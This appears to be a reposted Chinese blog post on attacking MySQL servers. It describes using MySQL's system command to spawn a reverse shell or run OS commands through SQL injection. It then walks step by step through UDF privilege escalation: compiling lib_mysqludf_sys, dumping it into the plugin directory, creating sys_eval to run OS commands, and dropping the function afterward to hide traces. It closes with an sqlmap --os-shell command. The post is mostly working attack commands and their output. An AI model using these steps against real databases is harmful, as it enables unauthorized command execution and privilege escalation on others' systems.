一、MySQL中的system命令
在MySQL 5.x中增加了system命令,简单的符号是\!,从而使MySQL可以执行系统的命令
1 mysql> system echo "12345" 2 12345
因为突发奇想,可以使用这个办法反弹shell
结果OK:
尝试和select拼接执行,这样是成功的
想到这里其实可以拼接在SQL注入语句中执行OS命令,或者能连上MySQL之后直接执行OS命令反弹shell。
二、MySQL UDF提权
这里按照linux类操作系统举例了,服务器端用windows真的没意思了,虽然还有很多。https://github.com/mysqludf/lib_mysqludf_sys解压后进入(git clone后直接进入)目录:
1 gcc -DMYSQL_DYNAMIC_PLUGIN -fPIC -Wall -I/usr/include/mysql -I. -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
如果遇到报错:
1 In file included from lib_mysqludf_sys.c:40: 2 /usr/include/mysql/my_global.h:626:25: error: my_compiler.h: No such file or directory
可以做如下修改:修改/usr/include/mysql/my_global.h文件,注释626行后重新编译。并使用Hex.hta获取16进制。
1 mysql> show variables like ‘%plugin%‘; 2 +---------------+-------------------------+ 3 | Variable_name | Value | 4 +---------------+-------------------------+ 5 | plugin_dir | /usr/lib64/mysql/plugin | 6 +---------------+-------------------------+ 7 1 row in set (0.00 sec) 8 9 mysql> select * from func; #检查是否已经有人导出过了 10 mysql> select unhex(‘hexcode‘) into dumpfile ‘/usr/lib64/mysql/plugin/mysqludf.so‘; 11 Query OK, 1 row affected (0.01 sec)#需要有/usr/lib64/mysql/plugin/目录的写入权限 12 13 mysql> create function sys_eval returns string soname ‘mysqludf.so‘; 14 Query OK, 0 rows affected (0.00 sec) 15 16 mysql> select sys_eval(‘whoami‘); 17 +--------------------+ 18 | sys_eval(‘whoami‘) | 19 +--------------------+ 20 | mysql 21 | 22 +--------------------+ 23 1 row in set (0.03 sec) 24 25 mysql> select * from func; 26 +----------+-----+-------------+----------+ 27 | name | ret | dl | type | 28 +----------+-----+-------------+----------+ 29 | sys_eval | 0 | mysqludf.so | function | 30 +----------+-----+-------------+----------+ 31 1 row in set (0.00 sec) 32 33 mysql> drop function sys_eval; 34 Query OK, 0 rows affected (0.00 sec) 35 36 mysql> select * from func; 37 Empty set (0.00 sec)
或者使用sqlmap 执行提权:
1 #sqlmap -d "mysql://root:[email protected]:3306/test" --os-shell 2 #test的地方是database name
原文地址:https://www.cnblogs.com/KevinGeorge/p/8394545.html
时间: 2024-10-15 01:59:33